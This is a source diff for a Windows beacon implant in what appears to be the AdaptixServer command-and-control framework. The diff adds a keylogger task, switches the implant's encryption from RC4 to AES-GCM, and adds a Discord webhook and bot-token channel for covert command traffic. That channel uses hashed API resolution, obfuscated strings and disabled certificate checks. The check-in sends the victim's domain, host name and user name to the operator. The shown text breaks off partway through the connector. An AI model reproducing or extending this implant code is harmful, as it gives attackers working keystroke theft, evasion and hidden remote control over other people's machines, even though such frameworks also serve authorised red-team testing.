+ @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DISCORD $(MINIZ_TRIM_FLAGS) -c $< -o $@
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp
index 794093fae..7cbe07756 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp
@@ -26,8 +26,8 @@ Agent::Agent()
proxyfire = new Proxyfire();
pivotter = new Pivotter();
- SessionKey = (PBYTE) MemAllocLocal(16);
- for (int i = 0; i < 16; i++)
+ SessionKey = (PBYTE) MemAllocLocal(AES_GCM_KEY_SIZE);
+ for (int i = 0; i < AES_GCM_KEY_SIZE; i++)
SessionKey[i] = GenerateRandom32() % 0x100;
}
@@ -100,45 +100,44 @@ BYTE* Agent::BuildBeat(ULONG* size)
packer->Pack8(this->info->minor_version);
packer->Pack32(this->info->internal_ip);
packer->Pack8( flag );
- packer->PackBytes(this->SessionKey, 16);
+ packer->PackBytes(this->SessionKey, AES_GCM_KEY_SIZE);
packer->PackStringA(this->info->domain_name);
packer->PackStringA(this->info->computer_name);
packer->PackStringA(this->info->username);
packer->PackStringA(this->info->process_name);
- EncryptRC4(packer->data(), packer->datasize(), this->config->encrypt_key, 16);
+ int beatEncLen;
+ unsigned char* beatEnc = EncryptAES256GCM(packer->data(), packer->datasize(), this->config->encrypt_key, &beatEncLen);
MemFreeLocal((LPVOID*)&this->info->domain_name, StrLenA(this->info->domain_name));
MemFreeLocal((LPVOID*)&this->info->computer_name, StrLenA(this->info->computer_name));
MemFreeLocal((LPVOID*)&this->info->username, StrLenA(this->info->username));
MemFreeLocal((LPVOID*)&this->info->process_name, StrLenA(this->info->process_name));
-#if defined(BEACON_HTTP) || defined(BEACON_DNS)
+#if defined(BEACON_HTTP) || defined(BEACON_DNS) || defined(BEACON_DISCORD)
- ULONG beat_size = packer->datasize();
- PBYTE beat = packer->data();
+ ULONG beat_size = beatEncLen;
+ PBYTE beat = beatEnc;
-#elif defined(BEACON_SMB)
+#elif defined(BEACON_SMB)
- ULONG beat_size = packer->datasize() + 4;
+ ULONG beat_size = beatEncLen + 4;
PBYTE beat = (PBYTE)MemAllocLocal(beat_size);
memcpy(beat, &(this->config->listener_type), 4);
- memcpy(beat+4, packer->data(), packer->datasize());
+ memcpy(beat+4, beatEnc, beatEncLen);
- PBYTE pdata = packer->data();
- MemFreeLocal((LPVOID*)&pdata, packer->datasize());
+ MemFreeLocal((LPVOID*)&beatEnc, beatEncLen);
-#elif defined(BEACON_TCP)
+#elif defined(BEACON_TCP)
- ULONG beat_size = packer->datasize() + 4;
+ ULONG beat_size = beatEncLen + 4;
PBYTE beat = (PBYTE)MemAllocLocal(beat_size);
memcpy(beat, &(this->config->listener_type), 4);
- memcpy(beat + 4, packer->data(), packer->datasize());
+ memcpy(beat + 4, beatEnc, beatEncLen);
- PBYTE pdata = packer->data();
- MemFreeLocal((LPVOID*)&pdata, packer->datasize());
+ MemFreeLocal((LPVOID*)&beatEnc, beatEncLen);
#endif
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp
index 90ef0c054..e632e6692 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp
@@ -25,10 +25,11 @@ AgentConfig::AgentConfig()
Packer* packer = new Packer((BYTE*)ProfileBytes, size);
ULONG profileSize = packer->Unpack32();
- this->encrypt_key = (PBYTE) MemAllocLocal(16);
- memcpy(this->encrypt_key, packer->data() + 4 + profileSize, 16);
+ this->encrypt_key = (PBYTE) MemAllocLocal(AES_GCM_KEY_SIZE);
+ memcpy(this->encrypt_key, packer->data() + 4 + profileSize, AES_GCM_KEY_SIZE);
- DecryptRC4(packer->data()+4, profileSize, this->encrypt_key, 16);
+ int plainLen;
+ DecryptAES256GCM(packer->data()+4, profileSize, this->encrypt_key, &plainLen);
this->agent_type = packer->Unpack32();
this->kill_date = packer->Unpack32();
@@ -98,6 +99,14 @@ AgentConfig::AgentConfig()
this->profile.burst_jitter = packer->Unpack32();
this->profile.dns_mode = packer->Unpack32();
this->profile.user_agent = packer->UnpackBytesCopy(&length);
+
+#elif defined(BEACON_DISCORD)
+ this->listener_type = packer->Unpack32();
+ this->profile.webhook_url = packer->UnpackBytesCopy(&length);
+ this->profile.bot_token = packer->UnpackBytesCopy(&length);
+ this->profile.channel_tasks_id = packer->UnpackBytesCopy(&length);
+ this->profile.poll_interval = packer->Unpack32();
+ this->profile.cleanup = packer->Unpack8();
#endif
#if defined(BEACON_DNS)
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h
index 71d70131c..6a1f17a73 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h
@@ -64,6 +64,14 @@ typedef struct {
BYTE* user_agent;
} ProfileDNS;
+typedef struct {
+ BYTE* webhook_url;
+ BYTE* bot_token;
+ BYTE* channel_tasks_id;
+ ULONG poll_interval;
+ BOOL cleanup;
+} ProfileDiscord;
+
#endif
@@ -95,6 +103,9 @@ class AgentConfig
#elif defined(BEACON_DNS)
ProfileDNS profile;
+#elif defined(BEACON_DISCORD)
+ ProfileDiscord profile;
+
#endif
AgentConfig();
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h
index f61a79c2d..2a6fd362e 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h
@@ -5,6 +5,7 @@
#define HASH_LIB_IPHLPAPI 0x2d288345
#define HASH_LIB_ADVAPI32 0x721421e8
#define HASH_LIB_MSVCRT 0xb707534d
+#define HASH_LIB_USER32 0x1206f7d2
//ntdll
@@ -195,4 +196,13 @@
#define HASH_FUNC_BIND 0x6f560281
#define HASH_FUNC_LISTEN 0xb4374c73
#define HASH_FUNC_RECVFROM 0xcfb09288
-#define HASH_FUNC_SENDTO 0xc44006d1
\ No newline at end of file
+#define HASH_FUNC_SENDTO 0xc44006d1
+
+//user32
+#define HASH_FUNC_GETASYNCKEYSTATE 0x124c2dac
+#define HASH_FUNC_GETFOREGROUNDWINDOW 0x641cf097
+#define HASH_FUNC_GETKEYBOARDSTATE 0x41305fb6
+#define HASH_FUNC_GETWINDOWTEXTW 0x745a77f8
+#define HASH_FUNC_GETWINDOWTHREADPROCESSID 0x6ede2a0
+#define HASH_FUNC_MAPVIRTUALKEYW 0x8142b7c9
+#define HASH_FUNC_TOUNICODE 0x406b25ee
\ No newline at end of file
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp
index 86f626ebb..da52f2b8b 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp
@@ -1,6 +1,7 @@
#include "Commander.h"
#include "bof_loader.h"
#include "Boffer.h"
+#include "Keylogger.h"
extern HANDLE g_StoredToken;
@@ -143,6 +144,9 @@ void Commander::ProcessCommandTasks(BYTE* recv, ULONG recvSize, Packer* outPacke
case COMMAND_UPLOAD:
this->CmdUpload(CommandId, inPacker, outPacker); break;
+ case COMMAND_KEYLOG_START:
+ this->CmdKeylogStart(CommandId, inPacker, outPacker); break;
+
case COMMAND_SAVEMEMORY:
this->CmdSaveMemory(CommandId, inPacker, outPacker); break;
@@ -1191,6 +1195,48 @@ void Commander::CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker)
+void Commander::CmdKeylogStart(ULONG commandId, Packer* inPacker, Packer* outPacker)
+{
+ ULONG pollMs = inPacker->Unpack32();
+ ULONG taskId = inPacker->Unpack32();
+
+ if (pollMs < 10)
+ pollMs = 100;
+
+ HANDLE pipeRead = NULL;
+ HANDLE pipeWrite = NULL;
+ SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
+ ApiWin->CreatePipe(&pipeRead, &pipeWrite, &sa, 0);
+
+ if (!pipeRead || !pipeWrite) {
+ outPacker->Pack32(taskId);
+ outPacker->Pack32(COMMAND_ERROR);
+ outPacker->Pack32(TEB->LastErrorValue);
+ return;
+ }
+
+ KeylogConfig* cfg = (KeylogConfig*)MemAllocLocal(sizeof(KeylogConfig));
+ cfg->pipeWrite = pipeWrite;
+ cfg->active = 1;
+ cfg->pollIntervalMs = pollMs;
+
+ HANDLE hThread = ApiWin->CreateThread(NULL, 0, KeylogWorker, cfg, 0, NULL);
+ if (!hThread) {
+ ApiNt->NtClose(pipeRead);
+ ApiNt->NtClose(pipeWrite);
+ MemFreeLocal((LPVOID*)&cfg, sizeof(KeylogConfig));
+ outPacker->Pack32(taskId);
+ outPacker->Pack32(COMMAND_ERROR);
+ outPacker->Pack32(TEB->LastErrorValue);
+ return;
+ }
+
+ agent->jober->CreateJobData(taskId, JOB_TYPE_LOCAL, JOB_STATE_RUNNING, hThread, 0, pipeRead, pipeWrite);
+
+ outPacker->Pack32(taskId);
+ outPacker->Pack32(commandId);
+}
+
void Commander::CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG memoryId = inPacker->Unpack32();
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h
index 55ec1e553..d04b4ab63 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h
@@ -32,6 +32,8 @@
#define COMMAND_SHELL_ACEPT 74
+#define COMMAND_KEYLOG_START 80
+
#define COMMAND_SAVEMEMORY 0x2321
#define COMMAND_ERROR 0x1111ffff
@@ -82,6 +84,7 @@ class Commander
void CmdUnlink(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker);
+ void CmdKeylogStart(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker);
void Exit(Packer* outPacker);
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp
index 0ef4e8d86..dfbacfe4f 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp
@@ -809,15 +809,17 @@ BOOL ConnectorDNS::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize)
if (!beat || !beatSize || beatSize < 8)
return FALSE;
- // Extract agent ID from beat
+ // Extract agent ID from beat (beat is AES-GCM encrypted: [IV(12)][CT][Tag(16)])
+ // Decrypt a copy to read the plaintext agent_id at offset 4
BYTE* beatCopy = (BYTE*)MemAllocLocal(beatSize);
if (!beatCopy)
return FALSE;
memcpy(beatCopy, beat, beatSize);
- EncryptRC4(beatCopy, beatSize, this->encryptKey, 16);
+ int plainLen;
+ DecryptAES256GCM(beatCopy, beatSize, this->encryptKey, &plainLen);
- ULONG agentId = (beatSize >= 8) ? ReadBE32(beatCopy + 4) : 0;
+ ULONG agentId = (plainLen >= 8) ? ReadBE32(beatCopy + 4) : 0;
MemFreeLocal((LPVOID*)&beatCopy, beatSize);
ApiWin->snprintf(this->sid, sizeof(this->sid), "%08x", agentId);
@@ -951,14 +953,17 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
sessionBuf[3] = (BYTE)((plainSize >> 16) & 0xFF);
sessionBuf[4] = (BYTE)((plainSize >> 24) & 0xFF);
memcpy(sessionBuf + 5, payload, payloadLen);
- EncryptRC4(sessionBuf, (int)sessionLen, sessionKey, 16);
- sendBuf = sessionBuf;
- sendLen = sessionLen;
+ int encLen;
+ unsigned char* encData = EncryptAES256GCM(sessionBuf, (int)sessionLen, sessionKey, &encLen);
+ MemFreeLocal((LPVOID*)&sessionBuf, sessionLen);
+ sendBuf = encData;
+ sendLen = encLen;
}
else {
- EncryptRC4(plainData, (int)plainSize, sessionKey, 16);
- sendBuf = plainData;
- sendLen = plainSize;
+ int encLen;
+ unsigned char* encData = EncryptAES256GCM(plainData, (int)plainSize, sessionKey, &encLen);
+ sendBuf = encData;
+ sendLen = encLen;
}
this->SendData(sendBuf, sendLen);
@@ -974,8 +979,7 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
}
}
- if (sessionBuf)
- MemFreeLocal((LPVOID*)&sessionBuf, sessionLen);
+ MemFreeLocal((LPVOID*)&sendBuf, sendLen);
if ((flags & 0x1) && payload && payload != plainData)
MemFreeLocal((LPVOID*)&payload, payloadLen);
@@ -986,7 +990,9 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
// Decrypt received data with session key
if (this->recvSize > 0 && this->recvData) {
- DecryptRC4(this->recvData, this->recvSize, sessionKey, 16);
+ int plainLen;
+ DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen);
+ this->recvSize = plainLen;
}
}
@@ -1118,7 +1124,7 @@ void ConnectorDNS::SendHeartbeat()
ULONG hbNonce = this->functions->GetTickCount() ^ (this->seq * 7919);
BYTE hbData[kAckDataSize];
BuildAckData(hbData, this->downAckOffset, hbNonce, this->downTaskNonce);
- EncryptRC4(hbData, kAckDataSize, this->encryptKey, 16);
+ CryptAES256Stream(hbData, kAckDataSize, this->encryptKey);
CHAR hbLabel[32] = { 0 };
DnsCodec::Base32Encode(hbData, kAckDataSize, hbLabel, sizeof(hbLabel));
@@ -1172,7 +1178,7 @@ void ConnectorDNS::SendAck()
ULONG ackNonce = this->functions->GetTickCount() ^ (this->seq * 7919) ^ 0xACEACE;
BYTE ackData[kAckDataSize];
BuildAckData(ackData, this->downAckOffset, ackNonce, this->downTaskNonce);
- EncryptRC4(ackData, kAckDataSize, this->encryptKey, 16);
+ CryptAES256Stream(ackData, kAckDataSize, this->encryptKey);
CHAR ackLabel[32] = { 0 };
DnsCodec::Base32Encode(ackData, kAckDataSize, ackLabel, sizeof(ackLabel));
@@ -1334,7 +1340,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size)
WriteBE32(frame + kMetaSize + 4, sendOffset);
memcpy(frame + kHeaderSize, data + sendOffset, chunk);
- EncryptRC4(frame, frameSize, this->encryptKey, 16);
+ CryptAES256Stream(frame, frameSize, this->encryptKey);
memset(dataLabel, 0, sizeof(dataLabel));
if (!DnsCodec::BuildDataLabels(frame, frameSize, this->labelSize, dataLabel, sizeof(dataLabel))) {
@@ -1489,7 +1495,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size)
BYTE reqData[kReqDataSize];
WriteBE32(reqData, reqOffset);
WriteBE32(reqData + 4, nonce);
- EncryptRC4(reqData, kReqDataSize, this->encryptKey, 16);
+ CryptAES256Stream(reqData, kReqDataSize, this->encryptKey);
CHAR reqLabel[24];
memset(reqLabel, 0, sizeof(reqLabel));
@@ -1520,7 +1526,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size)
return;
}
- DecryptRC4(binBuf, binLen, this->encryptKey, 16);
+ CryptAES256Stream(binBuf, binLen, this->encryptKey);
const ULONG headerSize = 8;
if (binLen > (int)headerSize) {
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp
new file mode 100644
index 000000000..d2c68bd52
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp
@@ -0,0 +1,914 @@
+#include "ConnectorDiscord.h"
+#include "ApiLoader.h"
+#include "ApiDefines.h"
+#include "Obfuscate.h"
+#include "ProcLoader.h"
+#include "Encoders.h"
+#include "Crypt.h"
+#include "utils.h"
+#include "config.h"
+#include "DebugLog.h"
+
+
+// ============================================================================
+// Local helpers (same pattern as ConnectorHTTP.cpp)
+// ============================================================================
+
+static DWORD _slen(const CHAR* str)
+{
+ DWORD i = 0;
+ if (str != NULL)
+ for (; str[i]; i++);
+ return i;
+}
+
+static void _scopy(CHAR* dst, const CHAR* src, DWORD len)
+{
+ for (DWORD i = 0; i < len; i++)
+ dst[i] = src[i];
+}
+
+static int _sfind(const CHAR* haystack, DWORD haystackLen, const CHAR* needle, DWORD needleLen)
+{
+ if (needleLen == 0 || needleLen > haystackLen)
+ return -1;
+ for (DWORD i = 0; i <= haystackLen - needleLen; i++) {
+ DWORD j = 0;
+ while (j < needleLen && haystack[i + j] == needle[j])
+ j++;
+ if (j == needleLen)
+ return (int)i;
+ }
+ return -1;
+}
+
+
+// ============================================================================
+// operator new / delete
+// ============================================================================
+
+void* ConnectorDiscord::operator new(size_t sz)
+{
+ void* p = MemAllocLocal(sz);
+ return p;
+}
+
+void ConnectorDiscord::operator delete(void* p) noexcept
+{
+ MemFreeLocal(&p, sizeof(ConnectorDiscord));
+}
+
+
+// ============================================================================
+// Constructor
+// ============================================================================
+
+ConnectorDiscord::ConnectorDiscord()
+{
+ this->hSession = NULL;
+ this->recvData = NULL;
+ this->recvSize = 0;
+ this->beatData = NULL;
+ this->beatSize = 0;
+ this->beatSent = FALSE;
+ this->tokenObf = NULL;
+ this->tokenObfLen = 0;
+
+ memset(this->discordHost, 0, sizeof(this->discordHost));
+ memset(this->webhookPath, 0, sizeof(this->webhookPath));
+ memset(this->tasksPath, 0, sizeof(this->tasksPath));
+ memset(this->authHeader, 0, sizeof(this->authHeader));
+ memset(this->tokenXorKey, 0, sizeof(this->tokenXorKey));
+
+ this->functions = (DISCORDFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(DISCORDFUNC));
+
+ this->functions->LocalAlloc = ApiWin->LocalAlloc;
+ this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
+ this->functions->LocalFree = ApiWin->LocalFree;
+ this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
+ this->functions->GetLastError = ApiWin->GetLastError;
+
+ HMODULE hWininetModule = this->functions->LoadLibraryA(OBF("wininet.dll"));
+ DBG("[*] ConnectorDiscord: wininet.dll=0x%p", hWininetModule);
+ if (hWininetModule) {
+ this->functions->InternetOpenA = (decltype(InternetOpenA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETOPENA);
+ this->functions->InternetConnectA = (decltype(InternetConnectA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCONNECTA);
+ this->functions->HttpOpenRequestA = (decltype(HttpOpenRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPOPENREQUESTA);
+ this->functions->HttpSendRequestA = (decltype(HttpSendRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPSENDREQUESTA);
+ this->functions->InternetSetOptionA = (decltype(InternetSetOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETSETOPTIONA);
+ this->functions->InternetQueryOptionA = (decltype(InternetQueryOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYOPTIONA);
+ this->functions->HttpQueryInfoA = (decltype(HttpQueryInfoA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPQUERYINFOA);
+ this->functions->InternetQueryDataAvailable = (decltype(InternetQueryDataAvailable)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYDATAAVAILABLE);
+ this->functions->InternetCloseHandle = (decltype(InternetCloseHandle)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCLOSEHANDLE);
+ this->functions->InternetReadFile = (decltype(InternetReadFile)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETREADFILE);
+ }
+}
+
+
+// ============================================================================
+// XOR helper — in-place XOR with key
+// ============================================================================
+
+void ConnectorDiscord::XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen)
+{
+ for (ULONG i = 0; i < len; i++)
+ buf[i] ^= key[i % keyLen];
+}
+
+
+// ============================================================================
+// ParseWebhookUrl — extract host + path from webhook URL
+// Input: "https://discord.com/api/webhooks/xxx/yyy"
+// Output: discordHost = "discord.com", webhookPath = "/api/webhooks/xxx/yyy"
+// ============================================================================
+
+void ConnectorDiscord::ParseWebhookUrl(const CHAR* url)
+{
+ // Skip "https://"
+ const CHAR* p = url;
+ DWORD urlLen = _slen(url);
+
+ // Find "://"
+ int schemeEnd = _sfind(p, urlLen, "://", 3);
+ if (schemeEnd >= 0)
+ p = url + schemeEnd + 3;
+
+ // Find first '/' after host
+ const CHAR* slash = p;
+ while (*slash && *slash != '/')
+ slash++;
+
+ DWORD hostLen = (DWORD)(slash - p);
+ if (hostLen >= sizeof(this->discordHost))
+ hostLen = sizeof(this->discordHost) - 1;
+ _scopy(this->discordHost, p, hostLen);
+ this->discordHost[hostLen] = 0;
+
+ // Path is everything from '/' onward
+ DWORD pathLen = _slen(slash);
+ if (pathLen >= sizeof(this->webhookPath))
+ pathLen = sizeof(this->webhookPath) - 1;
+ _scopy(this->webhookPath, slash, pathLen);
+ this->webhookPath[pathLen] = 0;
+
+ DBG("[*] Discord: parsed host=%s path=%s", this->discordHost, this->webhookPath);
+}
+
+
+// ============================================================================
+// DeobfuscateToken — XOR-decrypt bot_token into caller buffer
+// ============================================================================
+
+void ConnectorDiscord::DeobfuscateToken(CHAR* out, ULONG outSize)
+{
+ if (!this->tokenObf || this->tokenObfLen == 0)
+ return;
+
+ ULONG copyLen = this->tokenObfLen;
+ if (copyLen >= outSize)
+ copyLen = outSize - 1;
+
+ memcpy(out, this->tokenObf, copyLen);
+ out[copyLen] = 0;
+ this->XorBuffer((BYTE*)out, copyLen, this->tokenXorKey, sizeof(this->tokenXorKey));
+}
+
+
+// ============================================================================
+// SetConfig — initialize connector, store profile, send initial beat
+// ============================================================================
+
+BOOL ConnectorDiscord::SetConfig(ProfileDiscord prof, BYTE* beat, ULONG bSize)
+{
+ this->profile = prof;
+ this->beatSize = bSize;
+ this->beatSent = FALSE;
+
+ // Copy beat data
+ if (beat && bSize > 0) {
+ this->beatData = (BYTE*) this->functions->LocalAlloc(LPTR, bSize);
+ memcpy(this->beatData, beat, bSize);
+ }
+
+ // Parse webhook URL
+ if (prof.webhook_url)
+ this->ParseWebhookUrl((const CHAR*) prof.webhook_url);
+
+ // Build tasks path: "/api/v10/channels//messages?limit=10"
+ if (prof.channel_tasks_id) {
+ auto pfx = OBF("/api/v10/channels/");
+ auto sfx = OBF("/messages?limit=10");
+ DWORD pfxLen = _slen(pfx);
+ DWORD idLen = _slen((CHAR*) prof.channel_tasks_id);
+ DWORD sfxLen = _slen(sfx);
+
+ if (pfxLen + idLen + sfxLen < sizeof(this->tasksPath)) {
+ DWORD off = 0;
+ _scopy(this->tasksPath + off, pfx, pfxLen); off += pfxLen;
+ _scopy(this->tasksPath + off, (CHAR*) prof.channel_tasks_id, idLen); off += idLen;
+ _scopy(this->tasksPath + off, sfx, sfxLen); off += sfxLen;
+ this->tasksPath[off] = 0;
+ }
+ DBG("[*] Discord: tasksPath=%s", this->tasksPath);
+ }
+
+ // XOR-obfuscate bot_token in memory
+ if (prof.bot_token) {
+ ULONG tokenLen = _slen((CHAR*) prof.bot_token);
+ GenerateRandomBytes(this->tokenXorKey, sizeof(this->tokenXorKey));
+
+ this->tokenObf = (BYTE*) this->functions->LocalAlloc(LPTR, tokenLen + 1);
+ memcpy(this->tokenObf, prof.bot_token, tokenLen);
+ this->tokenObf[tokenLen] = 0;
+ this->tokenObfLen = tokenLen;
+ this->XorBuffer(this->tokenObf, tokenLen, this->tokenXorKey, sizeof(this->tokenXorKey));
+
+ // Wipe original token from profile memory
+ memset(prof.bot_token, 0, tokenLen);
+ }
+
+ // Build auth header: "Authorization: Bot \r\n"
+ {
+ CHAR tokenBuf[200];
+ memset(tokenBuf, 0, sizeof(tokenBuf));
+ this->DeobfuscateToken(tokenBuf, sizeof(tokenBuf));
+
+ auto authPfx = OBF("Authorization: Bot ");
+ DWORD authPfxLen = _slen(authPfx);
+ DWORD tokenLen = _slen(tokenBuf);
+
+ if (authPfxLen + tokenLen + 1 < sizeof(this->authHeader)) {
+ DWORD off = 0;
+ _scopy(this->authHeader + off, authPfx, authPfxLen); off += authPfxLen;
+ _scopy(this->authHeader + off, tokenBuf, tokenLen); off += tokenLen;
+ this->authHeader[off] = 0;
+ }
+
+ DBG("[*] Discord: authHeader len=%lu token len=%lu token[0..5]=%c%c%c%c%c%c",
+ _slen(this->authHeader), tokenLen,
+ tokenBuf[0], tokenBuf[1], tokenBuf[2], tokenBuf[3], tokenBuf[4], tokenBuf[5]);
+
+ // Wipe cleartext token
+ memset(tokenBuf, 0, sizeof(tokenBuf));
+ }
+
+ // Discord Bot API requires a DiscordBot User-Agent (403 with browser UA)
+ auto ua = OBF("DiscordBot (https://discord.com, 1.0)");
+ this->hSession = this->functions->InternetOpenA(ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
+ if (!this->hSession) {
+ DBG("[-] Discord: InternetOpenA FAILED err=%lu", this->functions->GetLastError());
+ return FALSE;
+ }
+ DBG("[+] Discord: hSession=0x%p", this->hSession);
+
+ // Send initial beat via webhook
+ if (this->beatData && this->beatSize > 0) {
+ LPSTR encBeat = b64_encode(this->beatData, this->beatSize);
+ if (encBeat) {
+ // Build JSON: {"content":""}
+ auto jPre = OBF("{\"content\":\"");
+ auto jSuf = OBF("\"}");
+ DWORD preLen = _slen(jPre);
+ DWORD encLen = _slen(encBeat);
+ DWORD sufLen = _slen(jSuf);
+
+ ULONG jsonLen = preLen + encLen + sufLen;
+ BYTE* jsonBuf = (BYTE*) this->functions->LocalAlloc(LPTR, jsonLen + 1);
+ DWORD off = 0;
+ _scopy((CHAR*)jsonBuf + off, jPre, preLen); off += preLen;
+ _scopy((CHAR*)jsonBuf + off, encBeat, encLen); off += encLen;
+ _scopy((CHAR*)jsonBuf + off, jSuf, sufLen); off += sufLen;
+ jsonBuf[off] = 0;
+
+ auto ctHeader = OBF("Content-Type: application/json\r\n");
+
+ BYTE* resp = NULL;
+ ULONG respLen = 0;
+ auto _mPost = OBF("POST");
+ BOOL ok = this->HttpsRequest(_mPost, this->webhookPath, ctHeader, jsonBuf, jsonLen, &resp, &respLen);
+ DBG("[*] Discord: beat POST %s (%lu bytes json)", ok ? "OK" : "FAIL", jsonLen);
+
+ if (resp) {
+ memset(resp, 0, respLen);
+ this->functions->LocalFree(resp);
+ }
+ memset(jsonBuf, 0, jsonLen);
+ this->functions->LocalFree(jsonBuf);
+ memset(encBeat, 0, encLen);
+ this->functions->LocalFree(encBeat);
+
+ this->beatSent = ok;
+ }
+ }
+
+ return TRUE;
+}
+
+
+// ============================================================================
+// HttpsRequest — generic HTTPS request to discord.com
+// Returns TRUE on 2xx, allocates outBuf with response body
+// ============================================================================
+
+BOOL ConnectorDiscord::HttpsRequest(const CHAR* method, const CHAR* path,
+ const CHAR* extraHeaders, BYTE* body, ULONG bodyLen,
+ BYTE** outBuf, ULONG* outLen)
+{
+ if (outBuf) *outBuf = NULL;
+ if (outLen) *outLen = 0;
+
+ DWORD context = 0;
+ BOOL result = FALSE;
+
+ HINTERNET hConnect = this->functions->InternetConnectA(
+ this->hSession, this->discordHost, INTERNET_DEFAULT_HTTPS_PORT,
+ NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)&context);
+
+ if (!hConnect) {
+ DBG("[-] Discord: InternetConnectA FAILED err=%lu", this->functions->GetLastError());
+ return FALSE;
+ }
+
+ CHAR acceptTypes[] = { '*', '/', '*', 0 };
+ LPCSTR rgpszAcceptTypes[] = { acceptTypes, 0 };
+ DWORD flags = INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD
+ | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI
+ | INTERNET_FLAG_KEEP_CONNECTION;
+
+ HINTERNET hRequest = this->functions->HttpOpenRequestA(
+ hConnect, method, path, 0, 0, rgpszAcceptTypes, flags, (DWORD_PTR)&context);
+
+ if (!hRequest) {
+ DBG("[-] Discord: HttpOpenRequestA FAILED err=%lu", this->functions->GetLastError());
+ this->functions->InternetCloseHandle(hConnect);
+ return FALSE;
+ }
+
+ // Ignore SSL cert errors (self-signed proxies, debugging)
+ {
+ DWORD dwFlags = 0;
+ DWORD dwBuffer = sizeof(DWORD);
+ this->functions->InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBuffer);
+ dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID
+ | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REVOCATION
+ | SECURITY_FLAG_IGNORE_WRONG_USAGE;
+ this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
+ }
+
+ // Build headers
+ DWORD hdrLen = 0;
